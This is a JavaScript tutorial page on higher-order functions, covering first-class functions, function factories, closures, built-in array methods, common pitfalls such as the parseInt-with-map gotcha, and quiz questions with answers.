    "content": "---\ntitle: \"Higher-Order Functions\"\nsidebarTitle: \"Higher-Order Functions: Functions That Use Functions\"\ndescription: \"Learn higher-order functions in JavaScript. Understand functions that accept or return other functions, create reusable abstractions, and write cleaner code.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functional Programming\"\n\"article:tag\": \"higher-order functions, functions as arguments, function composition, functional programming\"\n---\n\nWhat if you could tell a function *how* to do something, not just *what* data to work with? What if you could pass behavior itself as an argument, just like you pass numbers or strings?\n\n```javascript\n// Without higher-order functions: repetitive code\nfor (let i = 0; i < 3; i++) {\n  console.log(i)\n}\n\n// With higher-order functions: reusable abstraction\nfunction repeat(times, action) {\n  for (let i = 0; i < times; i++) {\n    action(i)\n  }\n}\n\nrepeat(3, console.log)           // 0, 1, 2\nrepeat(3, i => console.log(i * 2))  // 0, 2, 4\n```\n\nThis is the power of **higher-order functions**. They let you write functions that are flexible, reusable, and abstract. Instead of writing the same loop over and over with slightly different logic, you write one function and pass in the logic that changes. As [MDN documents](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function), JavaScript treats functions as first-class citizens — they can be assigned to variables, passed as arguments, and returned from other functions — which is the foundation that makes higher-order functions possible.\n\n<Info>\n**What you'll learn in this guide:**\n- What makes a function \"higher-order\"\n- The connection between first-class functions and HOFs\n- How to create functions that accept other functions\n- How to create functions that return other functions (function factories)\n- How closures enable higher-order functions\n- Common mistakes and how to avoid them\n- When and why to use higher-order functions\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). Closures are created when higher-order functions return other functions. You should also be familiar with [callbacks](/concepts/callbacks), since callbacks are the functions being passed to higher-order functions.\n</Warning>\n\n---\n\n## What is a Higher-Order Function?\n\nA **higher-order function** is a function that does at least one of these two things:\n\n1. **Accepts one or more functions as arguments**\n2. **Returns a function as its result**\n\nThat's it. If a function takes a function or returns a function, it's higher-order. The [ECMAScript specification](https://tc39.es/ecma262/#sec-function-objects) defines functions as callable objects, and because JavaScript allows any object to be passed around, functions naturally flow through higher-order patterns. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), functional programming techniques like higher-order functions rank among the most widely used JavaScript patterns.\n\n```javascript\n// 1. Accepts a function as an argument\nfunction doTwice(action) {\n  action()\n  action()\n}\n\ndoTwice(() => console.log('Hello!'))\n// Hello!\n// Hello!\n\n// 2. Returns a function as its result\nfunction createGreeter(greeting) {\n  return function(name) {\n    return `${greeting}, ${name}!`\n  }\n}\n\nconst sayHello = createGreeter('Hello')\nconsole.log(sayHello('Alice'))  // Hello, Alice!\nconsole.log(sayHello('Bob'))    // Hello, Bob!\n```\n\n<Tip>\n**The name \"higher-order\"** comes from mathematics, where functions that operate on other functions are considered to be at a \"higher level\" of abstraction. In JavaScript, we just call them higher-order functions, or HOFs for short.\n</Tip>\n\n### Why Does This Matter?\n\nHigher-order functions let you:\n\n- **Avoid repetition**: Write the structure once, vary the behavior\n- **Create abstractions**: Hide complexity behind simple interfaces  \n- **Build reusable utilities**: Functions that work with any logic you pass them\n- **Compose functionality**: Combine simple functions into complex ones\n\nWithout higher-order functions, you'd repeat the same patterns over and over. With them, you write flexible code that adapts to different needs.\n\n---\n\n## The Pea Soup Analogy\n\nTo understand why higher-order functions matter, let's look at an analogy from *Eloquent JavaScript*.\n\nCompare these two recipes for pea soup:\n\n**Recipe 1 (Low-level instructions):**\n\n> Put 1 cup of dried peas per person into a container. Add water until the peas are well covered. Leave the peas in water for at least 12 hours. Take the peas out of the water and put them in a cooking pan. Add 4 cups of water per person. Cover the pan and keep the peas simmering for two hours. Take half an onion per person. Cut it into pieces with a knife. Add it to the peas...\n\n**Recipe 2 (Higher-level instructions):**\n\n> Per person: 1 cup dried split peas, 4 cups of water, half a chopped onion, a stalk of celery, and a carrot.\n> \n> Soak peas for 12 hours. Simmer for 2 hours. Chop and add vegetables. Cook for 10 more minutes.\n\nThe second recipe is shorter and easier to understand. But it requires you to know what \"soak\", \"simmer\", and \"chop\" mean. These are **abstractions**. They hide the step-by-step details behind meaningful names.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         LEVELS OF ABSTRACTION                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   HIGH LEVEL (What you want)                                             │\n│   ┌───────────────────────────────────────────────────────────────┐     │\n│   │  \"Calculate the area for each radius\"                          │     │\n│   │                                                                 │     │\n│   │   radii.map(calculateArea)                                      │     │\n│   └───────────────────────────────────────────────────────────────┘     │\n│                              │                                           │\n│                              ▼                                           │\n│   MEDIUM LEVEL (How to iterate)                                          │\n│   ┌───────────────────────────────────────────────────────────────┐     │\n│   │  function map(array, transform) {                              │     │\n│   │    const result = []                                            │     │\n│   │    for (const item of array) {                                  │     │\n│   │      result.push(transform(item))                               │     │\n│   │    }                                                            │     │\n│   │    return result                                                │     │\n│   │  }                                                              │     │\n│   └───────────────────────────────────────────────────────────────┘     │\n│                              │                                           │\n│                              ▼                                           │\n│   LOW LEVEL (Step by step)                                               │\n│   ┌───────────────────────────────────────────────────────────────┐     │\n│   │  const result = []                                              │     │\n│   │  for (let i = 0; i < radii.length; i++) {                       │     │\n│   │    const radius = radii[i]                                      │     │\n│   │    const area = Math.PI * radius * radius                       │     │\n│   │    result.push(area)                                            │     │\n│   │  }                                                              │     │\n│   └───────────────────────────────────────────────────────────────┘     │\n│                                                                          │\n│   Higher-order functions let you work at the level that makes sense     │\n│   for your problem, hiding the mechanical details below.                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHigher-order functions are how we create these abstractions in JavaScript. We package up common patterns (like \"do something to each item\") into reusable functions, then pass in the specific behavior we need.\n\n---\n\n## First-Class Functions: The Foundation\n\nHigher-order functions are possible because JavaScript has **[first-class functions](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function)**. This means functions are treated like any other value. You can:\n\n### 1. Assign Functions to Variables\n\n```javascript\n// Functions are values, just like numbers or strings\nconst greet = function(name) {\n  return `Hello, ${name}!`\n}\n\n// Arrow functions work the same way\nconst add = (a, b) => a + b\n\nconsole.log(greet('Alice'))  // Hello, Alice!\nconsole.log(add(2, 3))       // 5\n```\n\n### 2. Pass Functions as Arguments\n\n```javascript\nfunction callTwice(fn) {\n  fn()\n  fn()\n}\n\ncallTwice(function() {\n  console.log('This runs twice!')\n})\n// This runs twice!\n// This runs twice!\n```\n\n### 3. Return Functions from Functions\n\n```javascript\nfunction createMultiplier(multiplier) {\n  // This returned function \"remembers\" the multiplier\n  return function(number) {\n    return number * multiplier\n  }\n}\n\nconst double = createMultiplier(2)\nconst triple = createMultiplier(3)\n\nconsole.log(double(5))   // 10\nconsole.log(triple(5))   // 15\n```\n\n<Note>\n**Not all languages have first-class functions.** In languages like C, you can't easily pass functions around as values. Java added lambda expressions in version 8, but they work differently than JavaScript functions. JavaScript's first-class functions make functional programming patterns natural and powerful.\n</Note>\n\n---\n\n## Higher-Order Functions That Accept Functions\n\nThe most common type of HOF accepts a function as an argument. You pass in *what* should happen, and the HOF handles *when* and *how* it happens.\n\n### Example: A Reusable `repeat` Function\n\nInstead of writing loops everywhere, create a function that handles the looping:\n\n```javascript\nfunction repeat(times, action) {\n  for (let i = 0; i < times; i++) {\n    action(i)\n  }\n}\n\n// Now you can reuse this for any repeated action\nrepeat(3, i => console.log(`Iteration ${i}`))\n// Iteration 0\n// Iteration 1\n// Iteration 2\n\nrepeat(5, i => console.log('*'.repeat(i + 1)))\n// *\n// **\n// ***\n// ****\n// *****\n```\n\nThe `repeat` function doesn't know or care what action you want to perform. It just knows how to repeat something. You provide the \"something.\"\n\n### Example: A Flexible `calculate` Function\n\nSuppose you need to calculate different properties of circles:\n\n```javascript\n// Without HOF: repetitive code\nfunction calculateAreas(radii) {\n  const result = []\n  for (let i = 0; i < radii.length; i++) {\n    result.push(Math.PI * radii[i] * radii[i])\n  }\n  return result\n}\n\nfunction calculateCircumferences(radii) {\n  const result = []\n  for (let i = 0; i < radii.length; i++) {\n    result.push(2 * Math.PI * radii[i])\n  }\n  return result\n}\n\nfunction calculateDiameters(radii) {\n  const result = []\n  for (let i = 0; i < radii.length; i++) {\n    result.push(2 * radii[i])\n  }\n  return result\n}\n```\n\nThat's a lot of repetition! The only thing that changes is the formula. Let's use a higher-order function:\n\n```javascript\n// With HOF: write the loop once, pass in the logic\nfunction calculate(radii, formula) {\n  const result = []\n  for (const radius of radii) {\n    result.push(formula(radius))\n  }\n  return result\n}\n\n// Define the specific logic separately\nconst area = r => Math.PI * r * r\nconst circumference = r => 2 * Math.PI * r\nconst diameter = r => 2 * r\n\nconst radii = [1, 2, 3]\n\nconsole.log(calculate(radii, area))\n// [3.14159..., 12.56637..., 28.27433...]\n\nconsole.log(calculate(radii, circumference))\n// [6.28318..., 12.56637..., 18.84955...]\n\nconsole.log(calculate(radii, diameter))\n// [2, 4, 6]\n```\n\nNow adding a new calculation is easy. Just write a new formula function:\n\n```javascript\n// Works for any formula that takes a radius!\nconst squaredRadius = r => r * r\nconsole.log(calculate(radii, squaredRadius))  // [1, 4, 9]\n```\n\n### Example: An `unless` Function\n\nYou can create new control flow abstractions:\n\n```javascript\nfunction unless(condition, action) {\n  if (!condition) {\n    action()\n  }\n}\n\n// Use it to express \"do this unless that\"\nrepeat(5, n => {\n  unless(n % 2 === 1, () => {\n    console.log(n, 'is even')\n  })\n})\n// 0 is even\n// 2 is even\n// 4 is even\n```\n\nThis reads almost like English: \"Unless n is odd, log that it's even.\"\n\n---\n\n## Higher-Order Functions That Return Functions\n\nThe second type of HOF returns a function. This is powerful because the returned function can \"remember\" values from when it was created.\n\n### Example: The `greaterThan` Factory\n\n```javascript\nfunction greaterThan(n) {\n  return function(m) {\n    return m > n\n  }\n}\n\nconst greaterThan10 = greaterThan(10)\nconst greaterThan100 = greaterThan(100)\n\nconsole.log(greaterThan10(11))   // true\nconsole.log(greaterThan10(5))    // false\nconsole.log(greaterThan100(50))  // false\nconsole.log(greaterThan100(150)) // true\n```\n\n`greaterThan` is a **function factory**. You give it a number, and it manufactures a new function that tests if other numbers are greater than that number.\n\n### Example: The `multiplier` Factory\n\n```javascript\nfunction multiplier(factor) {\n  return number => number * factor\n}\n\nconst double = multiplier(2)\nconst triple = multiplier(3)\nconst tenX = multiplier(10)\n\nconsole.log(double(5))   // 10\nconsole.log(triple(5))   // 15\nconsole.log(tenX(5))     // 50\n\n// You can use the factory directly too\nconsole.log(multiplier(7)(3))  // 21\n```\n\n### Example: A `noisy` Wrapper\n\nHigher-order functions can wrap other functions to add behavior:\n\n```javascript\nfunction noisy(fn) {\n  return function(...args) {\n    console.log('Calling with arguments:', args)\n    const result = fn(...args)\n    console.log('Returned:', result)\n    return result\n  }\n}\n\nconst noisyMax = noisy(Math.max)\n\nnoisyMax(3, 1, 4, 1, 5)\n// Calling with arguments: [3, 1, 4, 1, 5]\n// Returned: 5\n\nconst noisyFloor = noisy(Math.floor)\n\nnoisyFloor(4.7)\n// Calling with arguments: [4.7]\n// Returned: 4\n```\n\nThe original functions (`Math.max`, `Math.floor`) are unchanged. We've created new functions that log their inputs and outputs, wrapping the original behavior.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         THE WRAPPER PATTERN                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Original Function                  Wrapped Function                    │\n│   ┌─────────────────┐               ┌─────────────────────────────────┐ │\n│   │                 │               │  1. Log the arguments           │ │\n│   │   Math.max      │    noisy()    │  2. Call Math.max               │ │\n│   │                 │   ────────►   │  3. Log the result              │ │\n│   │ (3,1,4,1,5) → 5 │               │  4. Return the result           │ │\n│   │                 │               │                                  │ │\n│   └─────────────────┘               └─────────────────────────────────┘ │\n│                                                                          │\n│   The wrapper adds behavior before and after, without changing           │\n│   the original function. This is the \"decorator\" pattern.                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Function Factories in Practice\n\nFunction factories are functions that create and return other functions. They're useful when you need many similar functions that differ only in some configuration.\n\n### Example: Creating Validators\n\n```javascript\nfunction createValidator(min, max) {\n  return function(value) {\n    return value >= min && value <= max\n  }\n}\n\nconst isValidAge = createValidator(0, 120)\nconst isValidPercentage = createValidator(0, 100)\nconst isValidRating = createValidator(1, 5)\n\nconsole.log(isValidAge(25))         // true\nconsole.log(isValidAge(150))        // false\nconsole.log(isValidPercentage(50))  // true\nconsole.log(isValidPercentage(101)) // false\nconsole.log(isValidRating(3))       // true\n```\n\n### Example: Creating Formatters\n\n```javascript\nfunction createFormatter(prefix, suffix) {\n  return function(value) {\n    return `${prefix}${value}${suffix}`\n  }\n}\n\nconst formatDollars = createFormatter('$', '')\nconst formatPercent = createFormatter('', '%')\nconst formatParens = createFormatter('(', ')')\n\nconsole.log(formatDollars(99.99))   // $99.99\nconsole.log(formatPercent(75))      // 75%\nconsole.log(formatParens('aside'))  // (aside)\n```\n\n### Example: Pre-filling Arguments (Partial Application)\n\n```javascript\nfunction partial(fn, ...presetArgs) {\n  return function(...laterArgs) {\n    return fn(...presetArgs, ...laterArgs)\n  }\n}\n\nfunction greet(greeting, punctuation, name) {\n  return `${greeting}, ${name}${punctuation}`\n}\n\nconst sayHello = partial(greet, 'Hello', '!')\nconst askHowAreYou = partial(greet, 'How are you', '?')\n\nconsole.log(sayHello('Alice'))       // Hello, Alice!\nconsole.log(sayHello('Bob'))         // Hello, Bob!\nconsole.log(askHowAreYou('Charlie')) // How are you, Charlie?\n```\n\n---\n\n## The Closure Connection\n\nHigher-order functions that return functions rely on **[closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)**. When a function is created inside another function, it \"closes over\" the variables in its surrounding scope, remembering them even after the outer function has finished.\n\n```javascript\nfunction createCounter(start = 0) {\n  let count = start  // This variable is \"enclosed\"\n  \n  return function() {\n    count++          // The inner function can access and modify it\n    return count\n  }\n}\n\nconst counter1 = createCounter()\nconst counter2 = createCounter(100)\n\nconsole.log(counter1())  // 1\nconsole.log(counter1())  // 2\nconsole.log(counter1())  // 3\n\nconsole.log(counter2())  // 101\nconsole.log(counter2())  // 102\n\n// Each counter has its own private count variable\nconsole.log(counter1())  // 4 (not affected by counter2)\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      HOW CLOSURES WORK WITH HOFs                         │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   createCounter(0)                  createCounter(100)                   │\n│   ┌─────────────────────┐           ┌─────────────────────┐             │\n│   │  count = 0          │           │  count = 100        │             │\n│   │                     │           │                     │             │\n│   │  ┌───────────────┐  │           │  ┌───────────────┐  │             │\n│   │  │ function() {  │  │           │  │ function() {  │  │             │\n│   │  │   count++     │◄─┼───────┐   │  │   count++     │◄─┼───────┐     │\n│   │  │   return count│  │       │   │  │   return count│  │       │     │\n│   │  │ }             │  │       │   │  │ }             │  │       │     │\n│   │  └───────────────┘  │       │   │  └───────────────┘  │       │     │\n│   └─────────────────────┘       │   └─────────────────────┘       │     │\n│              │                  │              │                  │     │\n│              ▼                  │              ▼                  │     │\n│         counter1 ───────────────┘         counter2 ───────────────┘     │\n│                                                                          │\n│   Each returned function has its own \"backpack\" containing the           │\n│   variables from when it was created. This is a closure.                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Private Variables Through Closures\n\nThis pattern creates truly private variables. Nothing outside can access `count` directly:\n\n```javascript\nfunction createBankAccount(initialBalance) {\n  let balance = initialBalance  // Private variable\n  \n  return {\n    deposit(amount) {\n      if (amount > 0) {\n        balance += amount\n        return balance\n      }\n    },\n    withdraw(amount) {\n      if (amount > 0 && amount <= balance) {\n        balance -= amount\n        return balance\n      }\n      return 'Insufficient funds'\n    },\n    getBalance() {\n      return balance\n    }\n  }\n}\n\nconst account = createBankAccount(100)\nconsole.log(account.getBalance())   // 100\nconsole.log(account.deposit(50))    // 150\nconsole.log(account.withdraw(30))   // 120\n\n// Can't access balance directly\nconsole.log(account.balance)        // undefined\n```\n\n---\n\n## Built-in Higher-Order Functions\n\nJavaScript provides many built-in higher-order functions, especially for working with arrays. These are covered in depth in the [Map, Reduce, and Filter](/concepts/map-reduce-filter) guide, but here's a quick overview:\n\n| Method | What it does | Returns |\n|--------|--------------|---------|\n| [`forEach(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) | Calls `fn` on each element | `undefined` |\n| [`map(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) | Transforms each element with `fn` | New array |\n| [`filter(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) | Keeps elements where `fn` returns `true` | New array |\n| [`reduce(fn, init)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) | Accumulates elements into single value | Single value |\n| [`find(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find) | Returns first element where `fn` returns `true` | Element or `undefined` |\n| [`some(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some) | Tests if any element passes `fn` | `boolean` |\n| [`every(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) | Tests if all elements pass `fn` | `boolean` |\n| [`sort(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) | Sorts elements using comparator `fn` | Sorted array (mutates!) |\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\n\n// All of these accept a function as an argument\nnumbers.forEach(n => console.log(n))         // Logs each number\nnumbers.map(n => n * 2)                      // [2, 4, 6, 8, 10]\nnumbers.filter(n => n > 2)                   // [3, 4, 5]\nnumbers.reduce((sum, n) => sum + n, 0)       // 15\nnumbers.find(n => n > 3)                     // 4\nnumbers.some(n => n > 4)                     // true\nnumbers.every(n => n > 0)                    // true\n```\n\n<Note>\nFor a deep dive into these methods with practical examples, see [Map, Reduce, and Filter](/concepts/map-reduce-filter).\n</Note>\n\n---\n\n## Common Mistakes\n\n### 1. Forgetting to Return in Arrow Functions\n\nWhen using curly braces in arrow functions, you must explicitly `return`:\n\n```javascript\n// ❌ WRONG - implicit return only works without braces\nconst double = numbers.map(n => {\n  n * 2  // This doesn't return anything!\n})\nconsole.log(double)  // [undefined, undefined, undefined, ...]\n\n// ✓ CORRECT - explicit return with braces\nconst double = numbers.map(n => {\n  return n * 2\n})\n\n// ✓ CORRECT - implicit return without braces\nconst double = numbers.map(n => n * 2)\n```\n\n### 2. Losing `this` Context\n\nWhen passing methods as callbacks, `this` may not be what you expect:\n\n```javascript\nconst user = {\n  name: 'Alice',\n  greet() {\n    console.log(`Hello, I'm ${this.name}`)\n  }\n}\n\n// ❌ WRONG - 'this' is lost\nsetTimeout(user.greet, 1000)  // \"Hello, I'm undefined\"\n\n// ✓ CORRECT - bind the context\nsetTimeout(user.greet.bind(user), 1000)  // \"Hello, I'm Alice\"\n\n// ✓ CORRECT - use an arrow function wrapper\nsetTimeout(() => user.greet(), 1000)  // \"Hello, I'm Alice\"\n```\n\n### 3. The `parseInt` Gotcha with `map`\n\n`map` passes three arguments to its callback: `(element, index, array)`. Some functions don't expect this:\n\n```javascript\n// ❌ WRONG - parseInt receives (string, index) and uses index as radix\n['1', '2', '3'].map(parseInt)  // [1, NaN, NaN]\n\n// Why? map calls:\n// parseInt('1', 0)  → 1 (radix 0 is treated as 10)\n// parseInt('2', 1)  → NaN (radix 1 is invalid)\n// parseInt('3', 2)  → NaN (3 is not valid in binary)\n\n// ✓ CORRECT - wrap parseInt to only pass the string\n['1', '2', '3'].map(str => parseInt(str, 10))  // [1, 2, 3]\n\n// ✓ CORRECT - use Number instead\n['1', '2', '3'].map(Number)  // [1, 2, 3]\n```\n\n### 4. Using Higher-Order Functions When a Simple Loop is Clearer\n\nDon't force HOFs when a simple loop would be clearer:\n\n```javascript\n// Sometimes this is clearer...\nlet sum = 0\nfor (const n of numbers) {\n  sum += n\n}\n\n// ...than this (for simple cases)\nconst sum = numbers.reduce((acc, n) => acc + n, 0)\n```\n\nUse HOFs when they make the code more readable, not just to seem clever.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **A higher-order function** accepts functions as arguments OR returns a function. If it does either, it's higher-order.\n\n2. **First-class functions** make HOFs possible. In JavaScript, functions are values you can assign, pass, and return.\n\n3. **HOFs that accept functions** let you parameterize behavior. Write the structure once, pass in what varies.\n\n4. **HOFs that return functions** create function factories. They \"manufacture\" specialized functions from a template.\n\n5. **Closures are the key** to functions returning functions. The returned function remembers variables from when it was created.\n\n6. **Built-in array methods** like `map`, `filter`, `reduce`, `forEach`, `find`, `some`, and `every` are all higher-order functions.\n\n7. **The abstraction benefit** is huge. HOFs let you work at the right level of abstraction, hiding mechanical details.\n\n8. **Watch out for common gotchas** like losing `this`, forgetting to return, and unexpected arguments like with `parseInt`.\n\n9. **Don't overuse HOFs**. Sometimes a simple loop is clearer. Use HOFs when they make code more readable, not less.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What makes a function 'higher-order'?\">\n    **Answer:**\n    \n    A function is higher-order if it does at least one of these two things:\n    \n    1. Accepts one or more functions as arguments\n    2. Returns a function as its result\n    \n    ```javascript\n    // Accepts a function\n    function doTwice(fn) {\n      fn()\n      fn()\n    }\n    \n    // Returns a function\n    function multiplier(factor) {\n      return n => n * factor\n    }\n    \n    // Does both!\n    function compose(f, g) {\n      return x => f(g(x))\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What's the relationship between callbacks and higher-order functions?\">\n    **Answer:**\n    \n    They're two sides of the same coin:\n    \n    - A **callback** is a function passed to another function to be executed later\n    - A **higher-order function** is a function that accepts (or returns) other functions\n    \n    When you pass a callback to a higher-order function, the HOF decides when to call it.\n    \n    ```javascript\n    // setTimeout is a higher-order function\n    // The arrow function is the callback\n    setTimeout(() => console.log('Done!'), 1000)\n    \n    // map is a higher-order function\n    // n => n * 2 is the callback\n    [1, 2, 3].map(n => n * 2)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Why does ['1','2','3'].map(parseInt) return [1, NaN, NaN]?\">\n    **Answer:**\n    \n    `map` passes three arguments to its callback: `(element, index, array)`. \n    \n    `parseInt` accepts two arguments: `(string, radix)`. So `map` accidentally passes the index as the radix:\n    \n    ```javascript\n    // What map actually calls:\n    parseInt('1', 0)  // 1 (radix 0 → default base 10)\n    parseInt('2', 1)  // NaN (radix 1 is invalid)\n    parseInt('3', 2)  // NaN (3 is not valid binary)\n    ```\n    \n    The fix is to wrap `parseInt`:\n    \n    ```javascript\n    ['1', '2', '3'].map(str => parseInt(str, 10))  // [1, 2, 3]\n    // or\n    ['1', '2', '3'].map(Number)  // [1, 2, 3]\n    ```\n  </Accordion>\n  \n  <Accordion title=\"How do closures enable function factories?\">\n    **Answer:**\n    \n    When a function returns another function, the inner function \"closes over\" variables from the outer function's scope. It remembers them even after the outer function has finished.\n    \n    ```javascript\n    function createMultiplier(factor) {\n      // 'factor' is captured by the returned function\n      return function(number) {\n        return number * factor\n      }\n    }\n    \n    const double = createMultiplier(2)  // factor = 2 is remembered\n    const triple = createMultiplier(3)  // factor = 3 is remembered\n    \n    console.log(double(5))  // 10 (uses factor = 2)\n    console.log(triple(5))  // 15 (uses factor = 3)\n    ```\n    \n    Each returned function has its own closure with its own `factor` value.\n  </Accordion>\n  \n  <Accordion title=\"When should you NOT use higher-order functions?\">\n    **Answer:**\n    \n    Avoid HOFs when:\n    \n    1. **A simple loop is clearer** for your specific case\n    2. **Performance is critical** (loops can be faster for simple operations)\n    3. **The abstraction adds more complexity** than it removes\n    4. **You're chaining too many operations** making debugging hard\n    \n    ```javascript\n    // Sometimes this is perfectly fine:\n    let sum = 0\n    for (const n of numbers) {\n      sum += n\n    }\n    \n    // Don't force this just to use HOFs:\n    const sum = numbers.reduce((acc, n) => acc + n, 0)\n    ```\n    \n    The goal is readable, maintainable code. Use whatever achieves that.\n  </Accordion>\n  \n  <Accordion title=\"What's the difference between map() and forEach()?\">\n    **Answer:**\n    \n    | Aspect | `map()` | `forEach()` |\n    |--------|---------|-------------|\n    | Returns | New array with transformed elements | `undefined` |\n    | Purpose | Transform data | Perform side effects |\n    | Chainable | Yes | No |\n    | Use when | You need the result | You just want to do something |\n    \n    ```javascript\n    const numbers = [1, 2, 3]\n    \n    // map: transforms and returns new array\n    const doubled = numbers.map(n => n * 2)\n    console.log(doubled)  // [2, 4, 6]\n    \n    // forEach: just executes, returns undefined\n    const result = numbers.forEach(n => console.log(n))\n    console.log(result)  // undefined\n    ```\n    \n    Use `map` when you need the transformed array. Use `forEach` when you just want to do something with each element (like logging or updating external state).\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a higher-order function in JavaScript?\">\n    A higher-order function is any function that takes another function as an argument or returns a function as its result. Built-in examples include `Array.prototype.map()`, `filter()`, and `reduce()`. According to [MDN](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function), this pattern is possible because JavaScript treats functions as first-class citizens.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between a callback and a higher-order function?\">\n    A higher-order function is the function that *receives* or *returns* another function. A callback is the function being *passed in*. For example, in `[1,2,3].map(double)`, `map` is the higher-order function and `double` is the callback. They are two sides of the same pattern.\n  </Accordion>\n\n  <Accordion title=\"What are the most common built-in higher-order functions?\">\n    The most widely used are `Array.prototype.map()`, `filter()`, `reduce()`, `forEach()`, `sort()`, and `find()`. The `setTimeout` and `addEventListener` APIs are also higher-order functions because they accept callback arguments. These methods are documented extensively on [MDN's Array reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array).\n  </Accordion>\n\n  <Accordion title=\"Why should I use higher-order functions instead of loops?\">\n    Higher-order functions make code more declarative — you describe *what* you want, not *how* to do it step by step. They reduce repetition, minimize off-by-one errors, and produce code that is easier to read and maintain. The Stack Overflow 2023 Developer Survey shows that functional patterns are among the most popular paradigms in the JavaScript ecosystem.\n  </Accordion>\n\n  <Accordion title=\"Can I create my own higher-order functions?\">\n    Yes. Any function you write that accepts a function parameter or returns a function qualifies. Function factories, middleware patterns, and decorator functions are all examples of custom higher-order functions you can build to reduce duplication in your own codebase.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    Callbacks are functions passed to higher-order functions\n  </Card>\n  <Card title=\"Map, Reduce, Filter\" icon=\"filter\" href=\"/concepts/map-reduce-filter\">\n    The most common built-in higher-order functions\n  </Card>\n  <Card title=\"Pure Functions\" icon=\"sparkles\" href=\"/concepts/pure-functions\">\n    HOFs work best when combined with pure functions\n  </Card>\n  <Card title=\"Currying & Composition\" icon=\"layer-group\" href=\"/concepts/currying-composition\">\n    Advanced patterns built on top of higher-order functions\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Closures are what make functions returning functions work\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"First-class Function — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function\">\n    The foundation that makes higher-order functions possible\n  </Card>\n  <Card title=\"Closures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures\">\n    Essential for understanding functions that return functions\n  </Card>\n  <Card title=\"Array Methods — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array\">\n    Reference for built-in higher-order array methods\n  </Card>\n  <Card title=\"Functions — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions\">\n    Complete guide to JavaScript functions\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Eloquent JavaScript, Chapter 5\" icon=\"book\" href=\"https://eloquentjavascript.net/05_higher_order.html\">\n    The pea soup analogy and abstraction concepts come from this excellent free book. Includes exercises to practice HOF concepts.\n  </Card>\n  <Card title=\"Higher Order Functions in JavaScript — freeCodeCamp\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/higher-order-functions-in-javascript-explained/\">\n    Practical examples with shopping carts and user data. Great step-by-step explanations of map, filter, and reduce.\n  </Card>\n  <Card title=\"JavaScript Array Methods — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/array-methods\">\n    Comprehensive coverage of all array HOF methods with interactive examples and exercises.\n  </Card>\n  <Card title=\"Understanding Higher-Order Functions — Sukhjinder Arora\" icon=\"newspaper\" href=\"https://blog.bitsrc.io/understanding-higher-order-functions-in-javascript-75461803bad\">\n    Clear explanations with practical examples showing how to create custom higher-order functions.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Higher Order Functions — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=BMUiFMZr7vk\">\n    Part of the legendary \"Functional Programming in JavaScript\" series. MPJ's engaging teaching style makes HOFs click.\n  </Card>\n  <Card title=\"Higher-Order Functions ft. Functional Programming — Akshay Saini\" icon=\"video\" href=\"https://www.youtube.com/watch?v=HkWxvB1RJq0\">\n    Deep dive into HOFs with the calculate function example. Popular in the JavaScript community for its clear explanations.\n  </Card>\n  <Card title=\"JavaScript Higher Order Functions & Arrays — Traversy Media\" icon=\"video\" 